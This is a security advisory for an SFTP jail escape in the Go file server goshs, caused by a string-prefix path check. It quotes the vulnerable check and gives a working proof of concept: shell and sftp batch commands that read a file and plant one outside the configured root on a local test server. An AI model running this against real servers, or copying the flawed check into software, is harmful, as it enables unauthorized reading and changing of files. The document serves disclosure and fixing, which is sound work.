SFTP root escape via prefix-based path validation in goshs

8.7 HighFix available

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.6, goshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files. The SFTP subsystem routes requests through sftpserver/sftpserver.go into DefaultHandler.GetHandler() in sftpserver/handler.go, which forwards file operations into readFile, writeFile, listFile, and cmdFile. All of those sinks rely on sanitizePath() in sftpserver/helper.go. helper.go uses a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is /tmp/goshsroot, then a sibling path such as /tmp/goshsroot_evil/secret.txt incorrectly passes validation since it starts with the same byte prefix. This vulnerability is fixed in 2.0.0-beta.6.

SFTP root escape via prefix-based path validation in goshs

Summary

goshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files.

Details

The SFTP subsystem routes requests through sftpserver/sftpserver.go:99-126 into DefaultHandler.GetHandler() in sftpserver/handler.go:90-112, which forwards file operations into readFile, writeFile, listFile, and cmdFile. All of those sinks rely on sanitizePath() in sftpserver/helper.go:47-59. The vulnerable logic is:

cleanPath = filepath.Clean("/" + clientPath)
if !strings.HasPrefix(cleanPath, sftpRoot) {
    return "", errors.New("access denied: outside of webroot")
}

This is a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is /tmp/goshsroot, then a sibling path such as /tmp/goshsroot_evil/secret.txt incorrectly passes validation since it starts with the same byte prefix.

That unsafe value then reaches filesystem sinks including:

  • os.Open in sftpserver/helper.go:80-94
  • os.Create in sftpserver/helper.go:139-152
  • os.Rename in sftpserver/helper.go:214-221
  • os.RemoveAll in sftpserver/helper.go:231-232
  • os.Mkdir in sftpserver/helper.go:242-243

This means an authenticated SFTP user can escape the configured jail and read, create, upload, rename, or delete content outside the intended root directory.

PoC

The configured SFTP root was /tmp/goshsroot, but the SFTP client was still able to access /tmp/goshsroot_evil/secret.txt and create /tmp/goshsroot_owned/pwned.txt, both of which are outside the configured root.

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'
go build -o /tmp/goshs_beta4 ./

rm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key
mkdir -p /tmp/goshsroot /tmp/goshsroot_evil
printf 'outside secret\n' > /tmp/goshsroot_evil/secret.txt
printf 'proof via sftp write\n' > /tmp/local_upload.txt
cp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key
chmod 600 /tmp/goshs_beta4_client_key

/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \
  --sftp-keyfile sftpserver/authorized_keys \
  --sftp-host-keyfile sftpserver/goshs_host_key_rsa

Terminal 2

printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - [email protected]

printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - [email protected]

cat /tmp/outside_sftp.txt
cat /tmp/goshsroot_owned/pwned.txt

Expected result:

  • ls /tmp/goshsroot_evil succeeds even though that path is outside /tmp/goshsroot
  • cat /tmp/outside_sftp.txt prints outside secret
  • cat /tmp/goshsroot_owned/pwned.txt prints proof via sftp write
